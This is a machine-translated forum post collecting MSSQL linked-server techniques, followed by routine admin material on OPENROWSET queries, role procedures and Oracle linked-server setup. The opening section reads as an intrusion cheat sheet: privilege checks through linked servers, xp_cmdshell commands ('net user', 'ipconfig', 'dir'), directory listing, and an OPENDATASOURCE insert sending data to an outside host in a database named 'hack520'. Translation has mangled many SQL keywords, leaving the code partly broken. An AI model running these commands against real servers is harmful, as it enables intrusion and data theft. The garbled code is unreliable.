Vali * from [ip].master.dbo.sysobjects








vali * openrowsetist

('sqloledb','server=IP; uid=kasutaja; pwd=password','select @@version')


select * from openquery([LINKSERVER

nimi],'vali @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




vali * openquery(GM_SERVER,'vali * sysobjects'ist, kus xtype = (''U'')')


Vali *

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




select * from openquery(toatdeweb,'select

srvname pärit master.dbo.sysservers')


sisesta OpenDatasource'i

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

Nimi on pärit master.dbo.sysdatabases
create database hack520 Create TABLE zhu(name nvarchar(256)

null); Loo TABEL J8(id int NULL,name nvarchar(256) null);


Vali * OpenQuery'st

(toatdeweb, 'lülita FMTonly välja master.dbo.xp_cmdshell ''netikasutaja''')


Täitevmeister.. xp_dirtree

'c:\',1,1
Tee päringukataloog


exec links.master.. xp_cmdshell 'ipconfig'


vali * from openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Ühenda mysql Select * Mem_DB-st. UserDB.dbo.AdminList


TÄITEVMEISTER.. XP_dirtree 'c:\',1,1




Juht

master.dbo.xp_cmdshell 'dir'


vali loend (*) [näita] hulgast
Küsi, kui palju andmeid on praeguses tabelis




vali distinct hostname,db_name(dbid),net_address,loginame,program_name

Meistrilt.. sysprocessesid






Vali * GameDB01-st. Server01.dbo.cabal_character_table kus nimi='

Siga'





Kui sa selle kustutad, ütleb see: Andmebaasi kasutatakse ja seda ei saa kustutada.


Klõpsa andmebaasil, mida soovid kustutada, et avada sündmuste vaatur.


Sisend:


Kasutus   

Meister
mine
Seejärel sisesta järgmine:
deklareeri @d varchar (8000)
komplekt @d= ' '
select @d=@d+ ' tapa   

'+cast(spid kui varchar)+char(13)
Meistrilt.. sysprocesses, kus dbid=db_id('raamatukogu nimi')
exec(@d)
--
Kasuta koodi, et esmalt kustutada protsess, mis ühendub selle andmebaasiga












MSSQL haldab Oracle'i LinkServeri kaudu






1) Paigalda Oracle SQL_SERVER 2005 serverisse

9i klient. Oletame, et paigaldame C:\ora92i\ kataloogi. Kui D: on NTFS-partitsioon, pead seadistama ORACLE installitud kataloogi kasutatavaks

Tellijatel on õigus käivitada, lisada ja kustutada.


2)
Seadista fail C:\ora92i\network\ADMIN\tnsnames.ora faili. (Järgmine punane tekst on näide konfiguratsioonist)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(AADRESS = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Käivita DOS-režiimis järgmine käsk, et kinnitada, et ORACLE klient on õigesti paigaldatud.


SQLplus kasutaja/password@ORCL


4)
Ava Start - Control Panel - Services ja kinnita, et Distributed Transaction Coordinator teenus on käivitatud.



5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (paremklõps) - Uus ühendusserver.


1.      


Lingiserver: Kirjuta lingitud serveri nimi, näiteks OracleTest


2.         
Serveri tüüp, vali teine andmeallikas


3. Ligipääsuliides:
Vali Oracle Provider for OLE DB


4. Toote nimi: Write Oracle


5. Andmeallikas: Kirjuta üles

Teenuse nimi, mis on seadistatud tnsnames.ora failis, näiteks ORCL


6.         
Ligipääsuliidese string: userid=sys kui sysdba; parool=parool


7.         
Vali turvavalikud lehel kasuta seda paigalduskonteksti ühenduse loomiseks:


a) Kaugsisselogimine: kasutaja (teine kasutaja, mitte süsteemisüsteem)


b)      

    Kasuta parooli: parool


8. Sea kohalikule sisselogimisele, kaugkasutaja süsteemile "NT AUTHORITY\SYSTEM" ja seadista parool


9.

         Kas oled kindel


6) SQL-i kirjutamiseks on kaks võimalust


a) T-SQL süntaksi kasutamine:


           VALI * VAHELT

OraTest.ERP.BAS_ITEM_CLASS


           Pane tähele, et SQL Query Analyzerisse SQL-lauseid sisestades pööra tähelepanu Hiina täis- ja poollaiuse vahetusele

Nii!


b) Kasuta PLSQL süntaksit:
           SELECT * FROM openquery (OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Teine ligipääsumeetod on umbes 50% kiirem kui esimene; Teine ligipääsumeetod on otseselt ühendatud

ORACLE on võrreldav; Esimene ligipääsumeetod võib põhjustada ootamatuid vigu, näiteks:
           Tabelit ei eksisteeri ega praegust kasutajat

Lauale pole ligipääsu ja nii edasi.


           d) Kui veerg, millele ligi pääseb, kasutab andmetüüpe ilma täpsuseta, siis mõlemad

See on ORACLE viga, mida ei saa parandada ja mida saab vältida ainult erilise päringulausete käsitlemisega:


     OLE DB pakkuja 'OraOLEDB.Oracle' veergude metaandmed on ebajärjekindlad. Metaandmete info muudetakse täitmisel.










MSSQL lisas

Kustuta kasutaja ja anna õigused


Kasuta oma raamatukogu nime   
mine   
--Lisa kasutajaid   
Exec sp_addlogin 'test' -- lisa sisselogimine   
tegevjuht

sp_grantdbaccess N'test' – muutes selle praeguse andmebaasi legitiimseks kasutajaks   
tegevjuht sp_addrolemember N'db_owner',

N'test' – annab kõik õigused oma andmebaasile   
--See loob kasutajad, kes pääsevad ligi ainult oma andmebaasile ja sellele, mis andmebaasis sisalduvad

avalik tabel külaliskasutajatele   
mine   
--Eemalda testkasutaja   
exec sp_revokedbaccess N'test' -- Eemalda juurdepääs andmebaasile

Piirang   
exec sp_droplogin N'test' -- kustuta sisselogimine   
Kui lood selle Enterprise Manageris, kasuta:   
Ettevõtte haldur - turvalisus

Seks --Paremklõps Sisselogimine--Uus sisselogimine   
Üldised küsimused   
--Sisesta nime sisse kasutajanimi   

--Autentimismeetod valitakse vastavalt sinu vajadustele (kui kasutad Windowsi autentimist, pead esmalt looma uue kasutaja operatsioonisüsteemi kasutajate hulgast)   

--Vaikeseadetes vali andmebaasi nimi, millele soovid uuele kasutajale ligi pääseda   
Serveri rolliüksus   
Ära vali siin midagi   
andmebaas

Ligipääsu ese   
Kontrolli andmebaasi nime, millele soovid kasutajale ligi pääseda   
Luba andmebaasi rollis, vali "avalik", "db_ownew"   
Jah, see

Proovi poolt loodud kasutaja on sama, kes eelpool mainitud väite järgi loodud kasutaja   



Viimane samm on konkreetsete kasutajate jaoks spetsiifiliste juurdepääsuõiguste määramine, mida saab viidata järgmisele minimaalsele näitele:   

--Lisa kasutajad, kellel on lubatud kasutada ainult määratud tabelit:   
Exec sp_addlogin 'kasutajanimi', 'parool', 'vaikimisi andmebaasi nimi'   

--lisa andmebaasi   
Juht sp_grantdbaccess 'kasutajanimi'   

--Määra kogu tabeli õigused   
ANNA VALIK , SISESTA , UUENDA , KUSTUTA tabelil 1 [kasutajanimele]   
--Määra õigused konkreetsetele veergudele   
ANNA VALIK, UUENDA TABLE1(id,AA) AADRESSILE [kasutajanimi]   


Spetsiifiliste turvaseadete ja teoreetiliste teadmiste saamiseks vaadake palun SQL Online Help lehte  







Fikseeritud andmebaasi rolli kirjeldus   
  db_owner Mul on andmebaasis täielikud õigused.   

db_accessadmin Saad lisada või eemaldada kasutaja ID-sid.   

db_securityadmin Saab hallata täielikke õigusi, objektide omandit, rolle ja rolliliikmelisusi.   

db_ddladmin võib väljastada KÕIK DDL-id, kuid mitte GRANT, REAST ega KEELAMISE avaldusi.   

db_backupoperator saab väljastada DBCC, CHECKPOINT ja BACKUP avaldusi.   

db_datareader Sa saad valida kõik andmed mis tahes kasutajatabelist andmebaasis.   

db_datawriter Sa saad muuta kõiki andmeid mis tahes kasutajatabelis andmebaasis.   

db_denydatareader Sa ei saa andmebaasis ühtegi kasutajatabelist andmeid valida.   

db_denydatawriter Sa ei saa muuta andmeid üheski kasutajatabelis andmebaasis.  





Sa peaksid valima db_datareader, db_datawriter, db_accessadmin




5.
Pärast SQL Serveri instantsi käivitamist ühe kasutaja režiimis saab Windowsi administraatori konto kasutada sqlcmd tööriista, et ühendada Windowsi autentimisrežiimis

SQL Server。 Saad kasutada T-SQL käske nagu "sp_addsrvrolemember", et lisada olemasolev sisselogimine süsteemiadministraatori serveri rolli

Või loo uus sisselogimiskonto.
Näide on järgmine:


JUHT sp_addsrvrolemember 'CONTOSO\Buck', 'süsteemiadministraator';


MINE


Lisa süsteemiadministraatori privileeg








(1) Serveri rollide haldamine


SQL Serveris on kaks peamist salvestatud protseduuri, mis rakendavad SQL Serveri rollihaldust:


sp_addsrvrolemember

ja sp_dropsrvrolemember


sp_addsrvrolemember
Saad lisada sisselogimiskonto serveri rolli, et see oleks selle serveri rolli liige. Süntaks on järgmine:
sp_addsrvrolemember

sisselogimine , roll


sp_dropsrvrolemember
Sa saad kustutada sisselogimiskonto serveri rollist ja kui liige eemaldatakse serveri rollist, siis tal seda serveri rolli enam ei ole

Load seatud. Süntaks on järgmine:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'roll'


sinna

@loginname on sisselogitud kasutaja nimi; @rolename on serveri roll.




(2) Halda andmebaasi rolle


SQL Serveris on andmebaasi haldamine toetatud

On kuus peamist salvestatud protseduuri tüüpi ning nende spetsiifilised tähendused ja süntaks on järgmised:


sp_addrole: Kasutatakse uue andmebaasi rolli loomiseks;
sp_addrole

Roll, omanik


sp_droprole: Kasutati andmebaasi rolli eemaldamiseks praegusest andmebaasi rollist;
sp_droprole roll


sp_helprole:

Seda kasutatakse kogu info kuvamiseks kõigi andmebaasi rollide kohta praeguses andmebaasis;
sp_helprole ['roll']


sp_addrolemember: Kasutatakse andmebaasi saatmiseks

Lisa andmebaasi kasutajad rolli, mis võivad olla kasutaja määratletud standardrollid või fikseeritud andmebaasirollid, kuid ei saa olla

Rakendusrollid.
sp_addrolemember roll, security_account


sp_droprolemember: Kasutatakse teatud tegelase kustutamiseks

majapidamine;
sp_droprolemember roll, security_account


sp_helprolemember: Kasutatakse kõigi andmebaasi rolli liikmete kuvamiseks


sp_helprolemember ['roll']






MSSQL LINKSERVER päring


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Kuupäev : 2010-06-25 22:23:18
-- Versioon: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. juuli 2008 14:43:34
-- Autoriõigus (c) 1988–2008 Microsoft Corporation
--

Arendaja väljaanne Windows NT 5.1 versioonil (Build 2600: Service Pack 2)
-- Blogi : -- Teema:
SQL-andmeoperatsioonid erinevate serveriandmebaaside vahel
----------------------------------------------------------------------------------
--1.
Loo lingiserver
--1.1 Loo lingi nimi
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' kaugserveri nimi

või IP-aadressi' --
Kui sul on kohandatud instantsi nimi, lisa "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Loo sisselogimine (või loo lingiserveri sisselogimiskaart) (vali lihtsalt üks viis)
--1.2.1
Logi sisse Windowsi autentimisega
JUHT sp_addlinkedsrvlogin 'LinkName'
--või EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Logi sisse SQL autentimisega
EXECUTIVE sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Linkserveriga seotud andmetoimingud
--2.1 Päringu näide
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

AADRESSILT TonyLink.Mydb.dbo.tb */
--
2.2 Impordinäide
SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

AADRESSILT TonyLink.Mydb.dbo.tb */
--
2.3 Uuenduse näide
UUENDA LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET isikud='g' KUS isikud='a' */
--
2.4 Kustuta näited
KUSTUTA LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb KUS isikud='g' */
--3 ridakomplekti funktsiooni kaudu (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Meetod
-
3.1 OPENQUERY meetod (vajab just loodud lingiserveri abi):
--
3.1.1 Päringu näide
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitektuuri nimi. tabeli nimi')
/*
Näiteks: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Impordinäited
--3.1.2.1 Impordi kõik veerud
INSERT OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi

') VALI * kohalikust tabelist
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FROM TB */
--3.1.2.2
Impordi määratud veerud
INSERT OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi') (veerg, veerg...)
SELECT veerg,

Veerg... KOHALIKUST tabelist
/*
Näiteks: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Isikud)
VALIMA

VAHEMIK, TASE, ISIKUD TUBERKULOOSIST
*/
--3.1.3
Uuenduste näited
UUENDA OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nime. Arhitektuuri nimi. tabeli nimi') SET väli = 'väärtus' KUS sõna

Segment = 'Seisund'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Isikud='a' */
--3.1.4
Kustuta näited
KUSTUTA OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitektuuri nimi. tabeli nimi') KUS välja nimi='tingimus'
/*例

Näiteks: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET meetod (sa ei pea kasutama loodud lingi nime.) Kui ühendatud instantsi nimi ei ole vaikimisi, pead selle määrama SQL-serveri nimeks või IP-aadressiks.

"\instantsi nimi")
--3.2.1 Päringunäide
--3.2.1.1
Windowsi autentimismeetodi päring (üks järgmistest meetoditest on piisav)
VALI * OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või

IP-aadress; Trusted_Connection=jah', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * OPENROWSET('SQLNCLI',

'server=SQL serveri nimi või IP-aadress; Trusted_Connection=jah', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * VAHELT

OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; Trusted_Connection=jah','VALI * ANDMEBAASIST

Nimi. Arhitektuuri nimi. tabeli nimi')
VALI * OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress

Aadress; Trusted_Connection=jah','VALI * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi')
/*
Näiteks: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah', Mydb.dbo.tb)

Või: VALI * OPENROWSET'IST

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah', Mydb.dbo.tb)

Või: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah','VALI *

AADRESSILT Mydb.dbo.tb')

Või: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah','VALI *

AADRESSILT Mydb.dbo.tb')
*/
--3.2.1.2 SQL autentimismeetodi päring (üks järgmistest meetoditest on piisav)
VALI * OPENROWSETIST

('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * VAHELT

OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password','SELECT *

ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi')
VALI * OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=

Kasutajanimi; pwd=password','SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi')
VALI * OPENROWSET('SQLOLEDB', 'sql

serveri nimi'; 'kasutajanimi'; 'parool', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * OPENROWSET('SQLNCLI', 'SQL SERVERI NIMI

'; 'kasutajanimi'; 'parool', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' kasutaja

nimi'; 'Parool', 'VALI * ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi')
VALI * OPENROWSET('SQLNCLI', 'ql server

nimi'; 'kasutajanimi'; 'Parool', 'VALI * ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Või: VALI * OPENROWSET'IST

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Või: VALI * OPENROWSET'IST

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

või: VALI * OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VALI * FROM

Mydb.dbo.tb')

või: VALI * OPENROWSETIST ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

või: VALI * OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

või: VALI * OPENROWSETIST ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')

või: VALI * OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Impordi näide
--3.2.2.1 Impordi kõik veerud
INSERT OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress

Aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
VALI * kohalikust tabelist
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VALI * TUBERKULOOSIST
*/
--3.2.2.2 Import

Määra veerud
INSERT OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. riiul

Konstrukti nimi. tabeli nimi) (veerg, veerg...)
SELECT veerg, veerg... KOHALIKUST tabelist
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(VAHEMIK,TASE,Isikud)
VALIMA

VAHEMIK, TASE, ISIKUD TUBERKULOOSIST
*/
--Märkus: Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, asenda lihtsalt OPENROWSET funktsioon

Sisu on piisav.
--3.2.3 Uuenduse näide
UUENDA OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi

;p wd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi)
SET väli = 'väärtus'
KUS väli = 'tingimus'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Isikud='g'
KUS isikud='a'
*/
--Märkus: Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, lihtsalt asenda sisu OPENROWSET-is.
--3.2.4 Kustuta viide

Näide
KUSTUTA OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Skeemi nimi

.tabeli nimi)
KUS välja nimi='tingimus'
/*
Näiteks: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
KUS

Isikud='g'
*/
--Märkus:
Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, lihtsalt asenda sisu OPENROWSET-is.
--3.3 OPENDATASOURCE meetod

(Sa ei pea kasutama loodud lingi nime.) Kui ühenduse instantsi nimi ei ole vaikimisi, tuleb lisada \instantsi nimi SQL serveri nime või IP-aadressi järel

")
--3.3.1
Päringunäide
--3.3.1.1 Windowsi autentimismeetodi päring (Piisab ühest järgmistest meetoditest)
VALI * OPENDATASOURCE('SQLOLEDB',

'server=SQL serveri nimi või IP-aadress; Trusted_Connection=jah'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
VALI * VAHELT

OPENDATASOURCE('SQLNCLI', 'server=sql serveri nimi või IP-aadress; Trusted_Connection=jah'). Andmebaasi nimi. Arhitektuuri nimi.

Tabeli nimi
/*
Näiteks: SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah'). Mydb.dbo.tb

Või: VALI * OPENDATASOURCE'IST

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-autentimismeetodi päring (üks järgmistest meetoditest on piisav)
VALI * OPENDATASOURCE'IST ('SQLOLEDB', 'server=sql serveri nimi või

IP-aadress; uid=kasutajanimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
VALI * OPENDATASOURCE('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=kasutaja

Nimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
VALI * OPENDATASOURCE('SQLOLEDB', 'Data Source=sql serveri nimi või IP-aadress

Aadress; uid=kasutajanimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql serveri nimi või IP-aadress

Aadress; uid=kasutajanimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Või: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Või: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

Allikas=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Või: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

allikas=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Impordi kõik veerud
SISESTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').

Raamatukogu nime järgi. Arhitektuuri nimi. Tabeli nimi
VALI * kohalikust tabelist
/*
Näiteks: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
VALIMA

* TB-st
*/
--3.3.2.2
Impordi määratud veerud
SISESTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').

Raamatukogu nime järgi. Arhitektuuri nimi. Tabeli nimi (veerg, veerg...)
SELECT veerg, veerg... KOHALIKUST tabelist
/*
Näiteks: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ULATUS, TASE, Isikud)
VALI VAHEMIK, TASE, Isikud TB-st
*/
--Märkus:
Alternatiivsemate meetodite jaoks vaata .3.1 päringu näidet, lihtsalt asenda sisu reakomplekti funktsioonis (OPENDATASOURCE).
--3.3.3 Uuenduse näide
UUENDA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
SET väli = 'väärtus'
KUS väli = 'tingimus'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Isikud='g'
KUS isikud='a'
*/
--Märkus:
Alternatiivsemate meetodite jaoks vaata .3.1 päringu näidet, lihtsalt asenda sisu reakomplekti funktsioonis (OPENDATASOURCE).
--3.3.4 Kustuta näide
KUSTUTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').
Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
KUS välja nimi='tingimus'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
KUS isikud='g'
*/
- Märkus: Rohkem alternatiive

Vaata .3.1 päringu näidet, lihtsalt asenda sisu ridakomplekti funktsioonis (OPENDATASOURCE).
--
Kustuta lingitud serveri meetod
--Kui sa tulevikus lingiinfot enam ei kasuta, saad selle info kustutada
--4.1
Kustuta sisselogimisinfo (või kustuta lingitud serveri nimekaart)
JUHT sp_droplinkedsrvlogin 'LinkName', NULL
/*
Näiteks: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Kustuta lingitud serveri nimi
EXECUTIVE sp_dropserver 'LinkName', 'droplogin' – kui droploginid on määratud,
Sisselogimiskaart tuleb enne lingitud serveri kustutamist kustutada
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Lisatud


Kuidas saada teenusepakkuja nimi (EXECUTIVE master). xp_enum_oledb_providers)
SELECT CAST([Pakkuja nimi] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
ALLIKAST

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=jah',
'KÄIVITA FMTONLY;
TÄITEVJUHT

Meister.. xp_enum_oledb_providers'
)




Eelmine:UCloudi haavatavuste haldamise protsess ja preemiate üksikasjad
Järgmine:Täna saan rongiga koju jõuda ja pole kodus olnud üle poole aasta
Postitatud 27.09.2017 17:43:11 |
Väga detailne, aitäh
 Üürileandja| Postitatud 17.06.2023 11:12:11 |
Testi SQL-i süstimist SQLMAP infiltratsioonitööriistaga
https://www.itsvse.com/thread-10611-1-1.html
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com